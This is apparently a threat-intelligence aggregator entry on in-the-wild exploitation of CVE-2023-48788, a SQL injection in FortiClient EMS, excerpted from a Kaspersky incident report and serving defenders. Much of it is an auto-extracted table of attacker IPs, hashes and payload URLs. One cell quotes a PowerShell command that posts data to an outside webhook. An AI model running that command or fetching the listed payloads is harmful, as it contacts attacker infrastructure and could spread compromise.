Vulnerabilitymedium
Attackers exploiting a FortiClient EMS vulnerability in the wild
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2023-48788 | Unauthenticated SQL Injection in Fortinet FortiClient EMS | 9.8 | 98% | KEVRansomware | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | screenconnect.com | ns / IP addresses from the incident 45.141.84[.]45 infinity.screenconnect[.]com kle.screenconnect[.]com trembly.screenconnect[.]com corsm |
| ipv4 | 148.251.53.222 | uest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b2 |
| ipv4 | 185.196.9.31 | m/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SET |
| ipv4 | 185.216.70.170 | IP addresses from additional malicious payloads discovered 185.216.70.170:1337 hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.Cl |
| ipv4 | 206.206.77.33 | /185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6v |
| ipv4 | 45.141.84.45 | c7790e1a6812ea4ca8 Domains / IP addresses from the incident 45.141.84[.]45 infinity.screenconnect[.]com kle.screenconnect[.]com trem |
| ipv4 | 5.61.59.201 | Yj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp:// |
| ipv4 | 87.120.125.55 | gCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe |
| sha1 | 34162aaf41c08f0de2f888728b7f4dc2a43b50ec | 59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec |
| sha1 | 441a52f0112da187244eeec5b24a79f40cc17d47 | from the incident 8cfd968741a7c8ec2dcbe0f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ff |
| sha1 | 44b83dd83d189f19e54700a288035be8aa7c8672 | 9a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8 Domains / IP addre |
| sha1 | 59e1322440b4601d614277fe9092902b6ca471c2 | fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e2 |
| sha1 | 73f8e5c17b49b9f2703fed59cc2be77239e904f7 | 0b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2 |
| sha1 | 746710470586076bb0757e0b3875de9c90202be2 | f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f270 |
| sha1 | 75ebd5bab5e2707d4533579a34d983b65af5ec7f | 5a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e5 |
| sha1 | 83cff3719c7799a3e27a567042e861106f33bb19 | fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14 |
| sha1 | 841fff3a36d82c14b044da26967eb2a8f61175a8 | c116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454 |
| sha1 | 8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8 | 7042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8 Domains / IP addresses from the incident 45.141.84[.]45 inf |
| sha1 | 8cfd968741a7c8ec2dcbe0f5333674025e6be1dc | twise / ScreenConnect AnyDesk HASH – SHA1 from the incident 8cfd968741a7c8ec2dcbe0f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0 |
| sha1 | bc29888042d03fe0ffb57fc116585e992a4fdb9b | c5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b0 |
| sha1 | cf1ca6c7f818e72454c923fea7824a8f6930cb08 | 26967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d61 |
| sha1 | e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 | 728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d45 |
| url | http://148.251.53.222:14443/SETUP.MSI | ess&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 h |
| url | http://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/ |
| url | http://185.216.70.170 | /OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hx |
| url | http://185.216.70.170/72.bat | t hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjo |
| url | http://185.216.70.170/A | a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://1 |
| url | http://185.216.70.170/hello | 70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat |
| url | http://185.216.70.170/HELLO | 0c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.21 |
| url | http://185.216.70.170/oo.bat | .70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt h |
| url | http://185.216.70.170/OO.BAT | 8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp:// |
| url | http://185.216.70.170/sos.txt | 70 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_ |
| url | http://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w | hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.2 |
| url | http://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA | .59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe hxxp://5.61.59.201:8080/7k9XBvjahnQK0 |
| url | http://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ | tYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp://5.61.59.201:8080/7k9XBvjahnQ |
| url | http://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ | TEMP%\QgCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe |
| url | https://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.Clie |
| url | https://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSe |
| url | https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConn |
| url | https://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://infinity.screenconnect.com/Bin/ScreenConnect.Client |
| url | https://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSe |
| url | https://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSet |
| url | https://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.Client |
| url | https://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | dditional malicious payloads discovered 185.216.70.170:1337 hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientS |
| url | https://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.C |
| url | https://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup |
| url | https://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.Client |
| url | https://webhook.site/278fXXXX-ca3b-[REDACTED | > POWERSHELL . EXE -> CMD . exe -> powershell - c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body 'test' > $null" Accor |
| url | https://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 | d7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 H |
| url | https://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 | I hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HX |
| url | https://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest | nect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148. |
| url | https://www.lidahtoto2.com/assets/im.ps1 | 5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\Edg |
From the original article
10 min read at securelist.com
During a recent incident response, Kaspersky’s GERT team identified a set of TTPs and indicators linked to an attacker that infiltrated a company’s networks by targeting a Fortinet vulnerability for which a patch was already available. This vulnerability is an improper filtering of SQL command input making the system susceptible to an SQL injection. It specifically affects Fortinet FortiClient EMS versions 7.
By @Securelist · securelist.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.